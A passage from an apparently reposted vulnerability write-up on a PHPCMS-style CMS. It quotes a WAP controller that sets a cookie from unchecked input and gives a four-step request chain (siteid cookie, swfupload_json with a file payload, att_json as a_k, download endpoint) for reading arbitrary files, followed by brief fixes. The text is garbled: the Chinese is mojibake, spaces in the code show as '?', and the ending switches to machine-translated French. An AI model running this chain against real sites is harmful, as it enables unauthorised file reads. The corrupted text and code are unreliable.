<p>可控制$this->userid且沒(méi)有復(fù)雜的權(quán)限校驗(yàn),而且又是默認(rèn)AUTH_KEY加密的。</p>
<p>全文找下無(wú)限制可以set_cookie的,發(fā)現(xiàn)WAP模塊可以利用</p>
<pre class="brush:php;toolbar:false">pc_base::load_sys_class('format',?'',?0);
class?index?{
????function?__construct()?{????????
????????$this->db?=?pc_base::load_model('content_model');
????????$this->siteid?=?isset($_GET['siteid'])?&&?(intval($_GET['siteid'])?>?0)???intval(trim($_GET['siteid']))?:?(param::get_cookie('siteid')???param::get_cookie('siteid')?:?1);
????????param::set_cookie('siteid',$this->siteid);????
????????$this->wap_site?=?getcache('wap_site','wap');
????????$this->types?=?getcache('wap_type','wap');
????????$this->wap?=?$this->wap_site[$this->siteid];
????????define('WAP_SITEURL',?$this->wap['domain']???$this->wap['domain'].'index.php?'?:?APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
????????if($this->wap['status']!=1)?exit(L('wap_close_status'));
????}</pre>
<p>沒(méi)有任何條件限制我們可以$_GET['siteid']來(lái)控制param::set_cookie('siteid',$this->siteid),且默認(rèn)都有WAP模塊的文件,但不需要開啟。</p>
<h2 id="EXP編寫">3.EXP編寫</h2>
<p>流程如下:</p>
<ol>
<li><p>index.php?m=wap&c=index&siteid=1 獲取名稱為siteid的cookie。</p></li>
<li>
<p>訪問(wèn)index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p>
<pre class="brush:php;toolbar:false">&src=想要讀取文件的payload,并且訪問(wèn)的時(shí)候設(shè)置post字段userid_flash為步驟一獲取的cookie.</pre>
</li>
</ol>
<p>響應(yīng)成功之后,獲取名稱為att_json的cookie</p>
<ol><li><p>訪問(wèn)index.php?m=content&c=down&a=init&a_k=獲取到的att_json,來(lái)構(gòu)造最終漏洞利用路徑,</p></li></ol>
<p>可以直接截取生成的$a_k</p>
<ol><li><p>訪問(wèn)index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol>
<h2 id="Plan-de-réparation">4. Plan de réparation </h2>
<p>N'utilisez pas la clé par défaut pour le chiffrement et le déchiffrement $a_k sys_auth dans la méthode init. </p>
<p>Filtrez à nouveau $fileurl avant file_down. </p>
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!